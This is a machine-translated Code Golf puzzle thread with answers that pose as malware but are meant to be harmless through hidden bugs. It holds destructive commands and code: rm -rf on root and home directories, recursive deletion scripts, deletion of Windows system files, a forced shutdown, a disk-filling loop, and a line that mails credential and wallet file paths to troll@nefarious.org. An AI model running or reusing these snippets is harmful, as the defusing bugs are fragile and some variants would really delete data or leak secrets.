ট্রলটি ট্রোলিং করা হচ্ছে [বন্ধ]


184

একটি ট্রল আপনাকে ধরে নিয়েছে এবং আপনাকে ম্যালওয়্যার লিখতে বাধ্য করছে (এমন প্রোগ্রাম হিসাবে সংজ্ঞায়িত হয়েছে যা এটি চালিত কম্পিউটারের ক্ষতি করে)। ট্রল কোড পড়তে এবং বুঝতে পারে, তবে বাগগুলি স্পষ্ট করার ক্ষেত্রে তেমন ভাল নয়।

আপনার লক্ষ্য এমন একটি প্রোগ্রাম লিখুন যা:

  1. ম্যালওয়্যার মত দেখাচ্ছে; উদাহরণস্বরূপ, কোড পড়া কোনও প্রারম্ভিক প্রোগ্রামার নিশ্চিত হয়ে যাবে যে কোডটি এটি চালিত কম্পিউটারের ক্ষতি করে।
  2. আসলে কোন ক্ষতি করে না

দ্রষ্টব্য: ট্রলটি কেবল কোডটি পড়ে - মন্তব্যগুলি নয়। সুতরাং কোডটি নিজেই পরিষ্কার এবং যথেষ্ট বিশ্বাসযোগ্য হওয়া উচিত।

উদাহরণ (বাশ):

rm - rf /home

এই উদাহরণটি দেখে মনে হচ্ছে rm -rf /homeযা সিস্টেম থেকে সমস্ত হোম ফোল্ডারগুলি সরিয়ে দেয়, তবে আসলে, আরএফের আগে জায়গার কারণে, এটি কাজ করবে না এবং কেবল একটি ক্ষতিহীন ত্রুটি বার্তা তৈরি করবে।

এটি একটি গ্রহণযোগ্য সমাধান তবে এটি খুব ভাল নয়, কারণ বাগটি সনাক্ত করা বেশ সহজ।

অন্যদিকে, জটিল এবং অপঠনযোগ্য একটি প্রোগ্রামও খুব ভাল সমাধান হতে পারে না, কারণ এটি ম্যালওয়ারের মতো দেখাবে না।

একটি ভাল সমাধান পাঠকের পক্ষে এটি ম্যালওয়্যারকে বোঝানোর জন্য যথেষ্ট পাঠযোগ্য হতে পারে তবে এটিতে একটি বাগ রয়েছে যা সনাক্তকরণ এবং এটি নির্দোষভাবে রেন্ডার করা কঠিন।

এটি একটি জনপ্রিয়তার প্রতিযোগিতা, সুতরাং সর্বাধিক উর্ধ্বে থাকা কোডটি জয়ী ins


160
আমার মনে হচ্ছে আপনি আমাকে rm - rf /আমার শেলটি আটকে দেওয়ার চেষ্টা করছেন ...
আন্ডারগ্রাউন্ডোমোরিয়েল

19
ব্যাশ rm -rf /। যতক্ষণ না সিস্টেমটি খুব পুরানো হয় , এটির জন্য --no-preserve-root:)
ব্যবহারকারীর 55551

10
-১ কারণ ক) কোড-ট্রোলিং এবং আরও গুরুত্বপূর্ণভাবে খ) ম্যালওয়্যার তৈরি সম্পর্কিত যে কোনও প্রশ্নে আমি খুব উদ্বিগ্ন (যদিও এটি জাল এটি খুব নিকটেই স্কার্ট)।
গ্যারেথ

13
@ গ্যারেথ এটি সত্যিই ম্যালওয়্যার নয়, যদিও (যা সাধারণত এই দিনগুলিতে গোপনে থাকা এবং / বা ডেটা চুরি করার চেষ্টা করে), এটি বেশিরভাগ সম্পূর্ণ বিষয়গুলি মুছে ফেলার সম্পূর্ণ স্পষ্ট প্রয়াস, যা কোনও শিক্ষানবিস প্রোগ্রামার সামান্য প্রচেষ্টা করে লিখতে পারে।
বব

29
rm - rf /একটি বৈধ উদাহরণ নয়! rfআপনার বর্তমান ডিরেক্টরিতে কোনও ফাইল কল করা থাকলে এটি ক্ষতি করতে পারে
gnibbler

উত্তর:


140

সজোরে আঘাত

আমি অন্য পথে চলেছি আপনার হার্ড ড্রাইভের সমস্ত কিছু মোছার পরিবর্তে, আমি এটি আবর্জনা দিয়ে পূর্ণ করব।

এই স্ক্রিপ্টটি একটি ফোল্ডার তৈরি করে তারপরে ক্রমাগত catসমস্ত ফাইল একত্রে কনস করে এবং একটি ls -alভাল মাপার জন্য মূল্য যুক্ত করে (এবং যাতে প্রারম্ভিক ফাইলটিতে কিছু থাকে) যুক্ত করে একটি নতুন ফলের মধ্যে রাখে ।

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

ছাড়া ...

/ বিন / বাশ / (/ বিন / ব্যাশের পরিবর্তে) বৈধ দোভাষী হওয়ার সম্ভাবনা খুব কম। এটি আমার একটি সাধারণ টাইপ। এবং, যেহেতু "শিবাং প্রযুক্তিগতভাবে একটি মন্তব্য, তাই ট্রোল এটিকে উপেক্ষা করবে"


56
+1 টি। স্ক্রিপ্টের প্রথম লাইনটি অনেক প্রোগ্রামারদের জন্য অন্ধ স্পট (আমাকে সহ)।
এরেল সেগাল-হালেভি

44
এবং শেবাং প্রযুক্তিগতভাবে একটি মন্তব্য, সুতরাং ট্রোল এটিকে উপেক্ষা করবে
ব্রায়ান মিন্টন

14
অ-মন্তব্যকারীদের
আপত্তিজনক ব্যবহারের

37
এটি চালানো bash whatever.shআপনার
কৌশলটিকে

8
@ দারখোগ, কি ভাগ্য! আমি এটিকে সংরক্ষণ করেছি evil.commandযাতে ট্রলটি খোলার জন্য এটি কেবল ডাবল ক্লিক করতে পারে (ম্যাকের পক্ষে অন্তত)
জেমস ওয়েবস্টার

114

Haskell,

এই ম্যানুয়াল পৃষ্ঠাটি পরীক্ষা করুন , এর removeDirectoryRecursiveসমস্ত বিষয়বস্তু সহ একটি ডিরেক্টরি মুছুন!

import System.Directory
main = return (removeDirectoryRecursive "/")

সঠিক কোড হবে ফাংশন একটি আসতে অনুমিত হয় ধারণা কিছু করছেন। আপনার ফাইল সিস্টেম মুছে ফেলার একটি ধারণা দেয় , তবে ফাংশন (হ্যাঁ, এটি একটি ফাংশন), সেই মানটি ফিরিয়ে দেওয়ার একটি ছদ্মবেশী ধারণায় তার যুক্তিটি আবৃত করে । সুতরাং আমরা আপনার ড্রাইভ মোছার একটি ধারণা ফিরে আসার একটি ধারণা দিয়ে শেষ করি। (ইয়ো ডাগ আমি আপনাকে ধারণাগুলি পছন্দ করি।) হ্যাশেল রানটাইম প্রত্যাবর্তিত ধারণাটি কার্যকর করে এবং প্রত্যাবর্তিত মানটি বাতিল করে দেয়, যা আমাদের ক্ষেত্রে আপনার ফাইল সিস্টেম মুছানোর ধারণা।main = removeDirectoryRecursive "/"
mainremoveDirectoryRecursive "/"return
main


85
+1 টি। আমি আপনার ব্যাখ্যাটি পড়ার পরেও বাগটি বুঝতে পারি না ...
এরেল সেগাল-হালেভি

3
যেহেতু আমি বুঝতে পেরেছি এটি একটি পয়েন্টার ভুল (ফাংশনের দিকে নির্দেশ করার পরিবর্তে ফাংশনের পয়েন্টারটির দিকে নির্দেশ করা)। বেশ ভাল, প্রারম্ভিক প্রোগ্রামারগুলি সাধারণত পয়েন্টার ট্রিকগুলির জন্য সহজেই পড়ে যায়।
চমত্কার

3
মূলত, এটি সি এর return removeDirectoryRecursive;বিপরীতে অনুরূপ হবে return removeDirectoryRecursive();, এটি কি সঠিক?
থ্রিডিউবলুনগুলি

4
@ user1121352 নং ফাংশনটি নিজেই বলা হয়, তবে এটি কোনও ফাইল মুছতে পারে না কারণ এটি খাঁটি। পরিবর্তে এটি একটি আইও অ্যাকশন দেয়, যা থেকে ফিরে আসার পরে mainতা কার্যকর করা হয় এবং ফাইলটি সরিয়ে ফেলা হয়। স্পষ্টভাবে returnফাংশনটি ব্যবহার করে , তবে একটি আইও ক্রিয়া তৈরি করে যার উদ্দেশ্য কেবল মান তৈরি করা।
এমনিআইপ

4
@ চথুলহুর অন্যান্য ভাষায় (বা এমনকি কোনও ফাংশন থেকে মান "ফেরত" দেওয়ার return) কিছুই করার নেই return। উভয় IO aভাষায় ফাংশনগুলির সাথে ধরণের মানগুলির খুব একটা সম্পর্ক নেই। সুতরাং সাদৃশ্যটি হ্যান্ড-ওয়েভ ওয়ে
নিক্লাস বি।

103

পিএইচপি

এখানে একটি পুনরাবৃত্ত পিএইচপি স্ক্রিপ্ট যা আপনার ওয়েবসাইটের প্রতিটি ফাইল মুছে ফেলার চেষ্টা করে। ওয়েবসাইটটি বেশ বড় হলে সম্পূর্ণ হতে কিছুক্ষণ সময় নিতে পারে, তাই ধৈর্য ধরুন ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

একটি মাত্র কিশোর সমস্যা ...

পিএইচপি-তে কোনও মুছুন () কমান্ড নেই। এই কমান্ডটির মুখোমুখি হওয়ার সাথে সাথে স্ক্রিপ্টটি ব্যর্থ হবে, তবে কোনও ত্রুটি বার্তা প্রদর্শিত হবে না কারণ @ দ্বারা এই কমান্ডটির উপসর্গ করে ত্রুটি প্রতিবেদন দমন করা হয়েছিল । ফ্ল্যাশিং জিআইএফ চিত্রটি বোঝায় যে কিছু ঘটছে, যখন একেবারে কিছুই হচ্ছে না।


31
far যতদূর আমি বুঝতে পেরেছি: কোনও মুছে ফেলা () ফাংশন নেই, ম্যানুয়ালটি কেবলমাত্র বলে যে এটি সঠিক ফাংশন (লিঙ্কমুক্ত) খুঁজছেন এমন ব্যক্তির জন্য "জাল-এন্ট্রি"। এর অর্থ এই নয় যে পিএইচপি-তে কোনও ধরণের "স্বয়ংক্রিয়" পুনঃনির্দেশ রয়েছে।
এরতি-ক্রিস ইলমা

93
@ ব্যবহারকারী 11153 ট্রোল হয়েছে got
বাশার

34
দেখুন, আমি ভেবেছিলাম যে ত্রুটিগুলি উপেক্ষা করার কারণ এবং মৃত্যুদন্ড কার্যকর হতে থাকবে কারণ এটি পিএইচপি ছিল।
জোয়

17
আমার মনে হয় এলোমেলো অস্তিত্বহীন ফাংশনটি ব্যবহার করা একটি স্বাচ্ছন্দ্যজনক ( deleteফাইলগুলি মুছতে? কাউকে বোকা বানাবেন এমন ধারণা করার কোনও কারণ নেই)। unlⅰnkপরিবর্তে কীভাবে (যা "i" এর পরিবর্তে ইউ + 2170 ব্যবহার করে)?
কনরাড রুডলফ

18
@ কনরাডরুডল্ফ deleteফাইল মুছে ফেলার নামক একটি ফাংশন পিএইচপি-তে সম্পূর্ণ বিশ্বাসযোগ্য। বিশ্বাসযোগ্য নয় কেবলমাত্র এটি হ'ল এটি যদি সত্য হয় তবে এটি করার 3 বা 4 টি অন্যান্য উপায় থাকতে পারে এবং সবচেয়ে অদ্ভুত নামটি বাদ দিয়ে এর মধ্যে গুরুতর সুরক্ষা ত্রুটি থাকতে পারে।
ব্রেন্ডন লং

93

পার্ল (ইউনিক্স)

সিস্টেমে সমস্ত ফাইল মুছে ফেলে।

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

বৈশিষ্ট্য

  • এটি বৈধ পার্ল। এটি এমনকি প্রনয়ন এবং রান -wএবং use strict!

  • সি ++ এর মতো কোনও কোয়েবল নেই deleteunlinkআসলে একটি ফাইল মুছতে ফাংশন হ'ল, rmdirসত্যিই কোনও ডিরেক্টরি মুছে ফেলা হয় ইত্যাদি

  • সঠিকভাবে গভীরভাবে নেস্ট করা ডিরেক্টরি পরিচালনা করে যার জন্য আপেক্ষিক পাথগুলি ব্যবহারের জন্য প্রতিটি ডিরেক্টরিতে পরিবর্তন করে নিখুঁত প্যাথনামটি সিস্টেমের সর্বোচ্চ দৈর্ঘ্য অতিক্রম করতে পারে। এছাড়াও ডিরেক্টরি হ্যান্ডেলগুলি শেষ হবে না কারণ এটি পুনরাবৃত্তি করার আগে ডিরেক্টরিটি পড়ে এবং বন্ধ করে দেয়।

ভক্ষক

ইউনিক্সে, মূল ডিরেক্টরিতে প্রথম প্রবেশটি সাধারণত হয় ""। সুতরাং প্রোগ্রামটি স্মৃতি শেষ না হওয়া এবং ক্রাশ না হওয়া অবধি chdir ("।") এর একটি অসীম পুনরাবৃত্তি করবে।

আরও নোট

প্রত্যাশার চেয়ে সঠিক হওয়া এটি কঠিন ছিল। আপনি যদি chdir পদ্ধতির ব্যবহার না করেন, অবশেষে আপনি খুব দীর্ঘ একটি পথের নাম পান। তারপরে -d মিথ্যা ফেরত দেয় এবং অসীম পুনরাবৃত্তিটি ভেঙে যায় এবং ফাইলগুলি আসলে মুছে ফেলা হতে পারে! ডিরেক্টরি হ্যান্ডলগুলি খোলা রাখলে অনুরূপ বাগ ঘটতে পারে; শেষ পর্যন্ত আপনি রান আউট হয়ে যান, ওপেনডির ব্যর্থ হয়, হত্যাকারীর ফেরত আসে এবং মুছে ফেলা শুরু হয়।


45
"তারপরে -d মিথ্যা ফেরত দেয় এবং অসীম পুনরাবৃত্তিটি ভেঙে যায় এবং ফাইলগুলি আসলে মুছে ফেলা হতে পারে!" আপনি কি কঠিন উপায় শিখলেন?
নিক্লাস বি।

4
@NiklasB .: সৌভাগ্যবশত আমি একটি ডামি সংস্করণ :) পরীক্ষিত
Nate Eldredge

আমি প্রত্যাশা করেছি যে এই জাতীয় কোডটি কেবল খালি ফোল্ডারগুলি মুছে ফেলতে পারে, তবে ফাইলগুলি নয় ...
কিওয়ার্টি

3
"ইউনিক্সে, মূল ডিরেক্টরিতে প্রথম প্রবেশটি সাধারণত হয়" ""। তাহলে, উইন্ডোজ কেবল আরও একটি ম্যালওয়ার?
আলেকজান্ডার

1
@timmyRS: প্রোগ্রামটি ক্রাশ হবে। সিস্টেম ঠিক সূক্ষ্ম চলমান রাখতে হবে।
নাট এল্ডারেজ

81

শেল ওয়ান-লাইনার

এটি ভুক্তভোগীর সমস্ত পাসওয়ার্ড, ব্যক্তিগত কী, বিটকয়েন ইত্যাদি চুরি করবে

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

ভক্ষক:

এটি দেখে মনে হচ্ছে এটি ট্রলটিতে এই সমস্ত ফাইল ইমেল করে তবে বাস্তবে এটি কেবল তাদের ফাইলের নাম ইমেল করে।


4
বিষয়বস্তু ইমেল করতে cat, headবা, tailআদেশগুলি কোথাও জড়িত থাকতে হবে।
আগি হামারথিফ

7
এখনও যাই হোক না কেন তথ্য ফাঁস। এটি কি ট্রোলিং ট্রল করছে?
কাইল কেলি


@ কুইওভারফ্লো-print0 | xargs -0 cat |
কোয়ান্টাম

1
কোডটি 2-3 বার পড়ার পরে আমি এটি স্পয়লার ছাড়াই পেয়েছি।
nyuszika7h

74

ব্যাচ / সিএমডি

সংরক্ষণ

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

এবং কম্পিউটারে প্রতিটি ড্রাইভের প্যারামিটার দিয়ে এটিকে চালিত করুন।

% 0 সর্বদা প্রথম পরামিতি - ফাইলের নাম। এটি আসার পরে প্রকৃত প্যারামিটারগুলির সেট আসে তবে এটি ইতিমধ্যে নিজেকে মুছে ফেলেছে তাই এটি চালিয়ে যাবে না।


104
ফাইলটি বন্ধ করার এবং প্রতিটি লাইনের জন্য পরবর্তী লাইনটি পড়ার জন্য এটি পুনরায় খোলার ব্যাচের মজার আচরণের উপরও নির্ভর করে ...
বব

8
DEL %0কমান্ড লাইনে ফাইলের এক্সটেনশান নির্দিষ্ট না করা এবং স্ক্রিপ্টটি পুরো পথটি দিয়ে চালানো হয় বা আপনি একই ডিরেক্টরিতে না থাকলে কাজ করবে না । DEL "%~f0"উভয় সমস্যা সমাধান করবে এবং পথের অভ্যন্তরে যে কোনও জায়গাতেই স্থিতিস্থাপক হবে। এছাড়াও %10এবং উপরের অংশের অস্তিত্ব নেই - এটি %1আক্ষরিক দ্বারা অনুবাদ করা হয় 0
জন

14
+1 টি। এমনকি ট্রলটি "ডেল% 0" কী করে তা বুঝতে পেরেও, আপনি তাকে বোঝাতে পারেন যে এটি কেবল প্রমাণগুলি সাফ করার জন্য, এবং ব্যাচ ফাইলটি কার্যকর না হওয়া পর্যন্ত স্মৃতিতে রয়ে যায় বলে এটি কোনও ক্ষতি করে না (যা মিথ্যা, বব হিসাবে বললেন)।
এরেল সেগাল-হালেভি

2
একটি চালাক ট্রোল এখনও ফাইলটির শুরুতে (শেষের পরিবর্তে) স্ব-মোছার জন্য কমান্ড জোগানো আশ্চর্যজনক মনে করবে, যদি আপনি ত্রুটি-প্রবণ ব্যাচের স্ক্রিপ্টগুলি কতটা কুখ্যাতভাবে বিবেচনা না করেন।
আগি হামারথিফ

10
@ Bob আমার কোন ব্যাচ তা করেছে তা আমার জানা ছিল না ... এটা ভয়াবহ।
w4etwetewtwet

48

জাভাস্ক্রিপ্ট

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

ঠিক আছে, মূল ম্যালওয়্যারটি আপনার কম্পিউটারটিকে ফুটিয়ে তুলবে না তবে বিরক্তিকর হতে পারে।

এটি নিরীহ কারণ:

evalঅসীম লুপ বিরতি এবং বার্তা পরিবর্তন করতে হবে।


40
আমি আপনাকে উঁচুতে তুলতে চাই, তবে আপনার 1337 রেপ রয়েছে।
scrblnrd3

5
সুতরাং দয়া করে না! :)
মাইকেল এম।

: @scrblnd এটি সর্বস্বান্ত ডি এর
Riking

11
আপনার কাছে ফিরে না আসা পর্যন্ত ডাউন-ভোটের খারাপ উত্তরগুলি।
ডেভিড স্টারকি

4
শুধু অন্যদের জন্য ব্যাখ্যা করতে atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') : নিম্নলিখিত চালানো হবে "; (স্প্যাম", "লাভ"); "evilMessage = evilMessage.replace infiniteLoop = FALSE"
মোহাম্মদ জোরেড

45

জাভা

দেবতারা আপনার দুর্দশাগ্রস্ত দাবি, ট্রোলের বশবর্তী হয়ে আমাকে ক্ষমা করুন।

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec শেলটি ডাকে না, তাই গ্লোব এক্সপেনশন কখনই ঘটে না এবং কমান্ডটি অক্ষরে অক্ষরে একটি হোম ডিরেক্টরি মুছে ফেলার চেষ্টা করবে "*"


1
তাহলে আমার হোম ডিরেক্টরিটি কী বলা হয় '*'? ;)
ভোরাক

6
সত্যিই এটি জাভা উত্তরগুলির মধ্যে একটি। এর জন্য (অনেকের) অবক্ষয় সম্পর্কে একটি সুদৃ solid় বোঝা দরকার Runtime.exec()। +1 টি।
কিউস

জাভা কি সি এর ফাংশনের প্রকৃত সমতুল্য system()?
সুপারজেডি 224

@ SuperJedi224 না, আপনি নির্দিষ্ট করতে হবে /bin/sh -cবা cmd /cঅথবা নিজে যাই হোক না কেন। কোনও নতুন ওএসে কমান্ড কী করবে তা আপনি কখনই জানেন না যেহেতু আপনি তা বোঝায়।
সেই অন্য লোক

37

সি

যেহেতু তিনি এমন মন্তব্যগুলি পড়েন না যা করা উচিত:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

সি ++ সংস্করণ

এর জন্য ড্রাগনলর্ডকে ধন্যবাদ ।

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

এটি স্টার্টআপ ফোল্ডারে যুক্ত করুন এবং কম্পিউটারটি পুনরায় চালু করুন।

কিভাবে এটা কাজ করে:

?? / একটি ট্রিগ্রাফ এবং মন্তব্যটিতে পরবর্তী পংক্তিটি যুক্ত করবে সুতরাং মূলত এটি কিছুই করবে না। দ্রষ্টব্য: চেষ্টা করবেন না এই ট্রাইগ্রাফগুলি কয়েকটি সংকলকগুলিতে ডিফল্ট হিসাবে বন্ধ হয়ে থাকতে পারে এবং এটি কাজ করার জন্য অবশ্যই চালু থাকতে হবে।


যদি কোনও সংকলকটিতে এটি কাজ করতে পারে তবে এটি কি বাস্তব ট্রলিং?
আন্তোনিও র্যাগাগনিন

4
না, তবে
বাস্তবে

2
@ অ্যান্টোনিওআ্যাগাগনিন যদি এটি কোনও সংকলকটিতে কাজ করে তবে সেই সংকলকটি বগি। তবে, বেশিরভাগ আধুনিক সংকলকগণ ট্রিগ্রাফগুলির ব্যবহার সম্পর্কে সতর্ক করবেন (তবে কোডটি গ্রহণ করুন এবং সংকলন করুন)।
কনরাড রুডল্ফ

8
তাই আপনি যদি দানব মন্তব্য পড়তে না এবং আপনার সমাধান একটি মন্তব্য মধ্যে ম্যালওয়্যার করা হয়, তার মানে এই নয় সব দানব সূচিত একটি ফাংশন mainসঙ্গে return 0?
ডেভিড স্টারকি

1
??/সত্যিই একটি পুরানো কৌতুক আছে ... আমি দুঃখিত।
ইসিয়া মিডোস

33

জাভা

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

একটি পালানোর অক্ষর ব্যবহার করা (ntoskrnl.exe এর আগে \ n সাধারণ এন এর পরিবর্তে একটি নতুন লাইন)


20
আপনি যদি অন্য ব্যাকস্ল্যাশগুলি থেকে বাঁচেন না, ত্রুটিটি আরও কম স্বতন্ত্র বলে মনে হতে পারে।
ট্রলটি

2
@ 3Doubloons এই ক্ষেত্রে কোডটি সংকলন করতে ব্যর্থ হবে না?
নীল

2
@ নীল: ভালো কথা। এটি হবে না, তবে ট্রল যদি আমাদের তাঁর পড়াতে সন্তুষ্ট হওয়ার সাথে সাথে যেতে দেয় তবে আমরা স্পষ্ট হয়ে
উঠি

29
new File("C:\ntldr").delete();
ডিম স্ক্রিপটুনফ

3
@ ইগোরস্ক্রিপ্টুনফ এটি বুঝতে পেরে আমার একটু বেশি সময় নিল যে এক্সপি এক্সডির কোনও রূপ নয়।
জাস্টিন

31

BASH

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

সেট-টি একটি কমান্ড পড়ার এবং কার্যকর করার পরে প্রস্থান করবে। এই স্ক্রিপ্টটি কোনও আউটপুট প্রিন্ট করে না এবং সমস্ত ফাইল নিরাপদ!

বা চালানোর আগে নিম্নলিখিত বাট স্পিডারটি পড়ুন

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

জনপ্রিয় চাহিদা অনুসারে .. #!/bin/bash -tএকটি কমান্ড পড়ে এবং কার্যকর করার পরে প্রস্থান করা হবে। এটি স্ক্রিপ্টের কমান্ডগুলি bash -xঅগ্রাহ্য করবে -tএবং চালিত করবে বলে এটি চালাবেন না ।


Spoilers আমি একটু বিভ্রান্ত ... কি পার্থক্য set -tএবং exit? বাশ ম্যান পৃষ্ঠাটি বলে যে set -t"একটি কমান্ড" পরে বেরিয়ে এসেছে, তবে এটি setকমান্ডটিকে সেই আদেশ হিসাবে গণনা করে অবিলম্বে প্রস্থান করে।
কাইল স্ট্র্যান্ড

6
অতিরিক্ত কমান্ড যদি একই লাইনে থাকে set -t (যেমন সেমিকোলন বা ডাবল অ্যাম্পারস্যান্ড ইত্যাদি দ্বারা পৃথক) সেগুলি কার্যকর করা হবে। set -t; echo "hahaha deleting files.."এক্ষেত্রে প্রথম পংক্তির পাঠ্যটি প্রতিধ্বনিত হবে তখন প্রস্থান হবে।
জগডেন

2
আহ। ধন্যবাদ। বুঝতে পারিনি যে আচরণের ক্ষেত্রে ;এবং একটি নতুন লাইনের মধ্যে কখনও পার্থক্য রয়েছে ।
কাইল স্ট্র্যান্ড

4
#!/bin/bash -tসম্ভবত?
নীল

2
@ জগডেন এটি খুব খারাপ বাশ পার্ল যে একই শেবাং-পার্সিং ট্রিকটি করেন না (যদি আপনি চালান perl foo.plএবং foo.pl শুরু হয় #!somethingendingin/perl -flags, পার্ল এটির সাথে অনুরোধ করার মতো আচরণ করবে -flags)
হাবস

30

পাইথন

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

তিনটি উদ্ধৃতি পাইথনে "" "একাধিক স্ট্রিং শুরু করে


5
ভুল, তারা মাল্টি-লাইন স্ট্রিংগুলি ডকস.পিথন.আর.
২ /

12
উত্তরটি দেখার পাঁচ সেকেন্ডের মধ্যে আমি আক্ষরিকভাবে সমস্যাটি দেখেছি এবং অজগরটিও জানি না।
হাট

6
দুর্দান্ত ধারণা, সমস্যাটি সহ যে ট্রোলটি যদি সিনট্যাক্স হাইলাইট করে তা ব্যবহার করে spot
o0 '

1
আমি মনে করি গড় ট্রোল ইন্টারনেটে একটি এলোমেলো দূষিত কোড দেখে এবং অন্য ফোরামে কেবল এটি কপিপ্যাস্ট করে।
আন্তোনিও রাগাগনিন

1
ভাল, আমি পাইথনের অভিজ্ঞতা পেয়েছি এবং ত্রুটিটি দেখিনি। 4 টি উদ্ধৃতি ব্যবহার করা আমাকে ঠকাতে পারে।
চমত্কার

29

ডি

এই প্রোগ্রামটি বৈধ এবং কোনও ত্রুটি ছাড়াই কার্যকর করে। এটি একটি নতুন থ্রেডে মুছে ফাংশন তৈরি করে, যা rootডিরেক্টরি মুছে দেয় ।

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

কিন্তু কিছুই মুছে ফেলা হয় না ...

কারণ ডি-তে, মডিউল স্কোপে ঘোষিত একটি চলকটি থ্রিড-লোকাল ডিফল্ট হয়। mainফাংশন নির্ধারণ এটি "/", কিন্তু ডিম থ্রেড একটি খালি কপি আছে, তাই rmdirRecurseফাংশন বলা হয় না।


1
ভাল! আমি এইটিতে বাগটি ধরতে পেরেছি, যদিও আমি ডি জানি না
এরেল সেগাল-হালেভি

1
"একটি গ্লোবাল ভেরিয়েবল মূলত থ্রেড-স্থানীয় হয়" এটি কিছুটা দ্বন্দ্বের কথা
নিক্লাস বি।

@NiklasB। এটার দ্বন্দ্ব কি?
বায়োজিক

এটি তখন কোনও "গ্লোবাল ভেরিয়েবল" নয়। হতে পারে "শীর্ষ স্তরে ঘোষিত ভেরিয়েবল" আরও ভাল বিবরণ?
পাওলো ইবারম্যান

হ্যাঁ, সম্পাদিত! এটা কম অস্পষ্ট। কমপক্ষে লেকসুলভভাবে বলতে গেলে যদিও সম্পূর্ণ বৈপরীত্য নয়।
বায়োজিক

25

সি (ইউনিক্স)

কিছু বিজ্ঞাপন যুক্ত করা কখনই কারও ক্ষতি করে না।

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

HTTP: এটি একটি লেবেল, ক্ষতিকারক কোডটি অনুপস্থিত label : ভী


5
আমি এটি সন্ধান করতে পেরেছি :)
এরেল সেগাল-হালেভি

17
প্রথম ইউআরএলে সেমিকোলনটি এই ফন্টে পাওয়া খুব সহজ। তবে এটি সৃজনশীল!
কমপিউশিপ

12
সাহায্যকারী হিসাবে বিবেচিত
হয়েছেন

1
আমি এটি লক্ষ্য করেছি কারণ গোটো পরে আর কোনও সেমিকোলন নেই। আপনি যদি এটিতে পরিবর্তন করেন goto http;//www.trolling.com;(উভয় দাগে) আমি এটি মিস করেছি।
wchargin

2
এটি কোনওভাবেই সংকলন করবে না, কারণ কোনও printকার্য নেই।
nyuszika7h

24

জাভাস্ক্রিপ্ট

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

কোনও সতর্কতা দেখানো হয় না। যেহেতু জাভাস্ক্রিপ্ট ;লাইনগুলির শেষে প্রয়োজন হয় না , এটি স্বয়ংক্রিয়ভাবে পরে returnপরিণত হয় , হয়ে ওঠে return;। তারপরে undefined, যা মিথ্যা, এটি "অবজেক্ট" (যা বাস্তবে একটি ব্লক স্টেটমেন্ট হিসাবে পার্স করা হয়) এর পরিবর্তে ফিরে আসে is


3
কেবলমাত্র "সত্য" এবং "মিথ্যা" ব্যবহারের জন্য +1 তে প্রলুব্ধ করা হয়েছে)
কমপিউশিপ

1
জেএস-এর এই "ত্রুটি" হিসাবে +1 আমাকে বহু বার প্রহরী থেকে ধরে ফেলেছে ... এটি দেখার জন্য কয়েক বার এটি আবার
মার্ক অর্মস্টন

12
@ নিগেলনকান্দে সেমিকোলন ব্যর্থতার কারণ হয় না, লাইন ব্রেক হয়। যে রিটার্ন এবং অবজেক্টটি প্রত্যাবর্তনের কথা রয়েছে তা পৃথক লাইনে রয়েছে, সুতরাং বস্তুটি কখনই ফিরে আসে না। "ফিক্স" করতে, লাইন return {
ব্রেকটি

3
আশা করছি যে ট্রোলটি কোডটি ছোট করবে না!
মোহাম্মদ জোড়াইদ

2
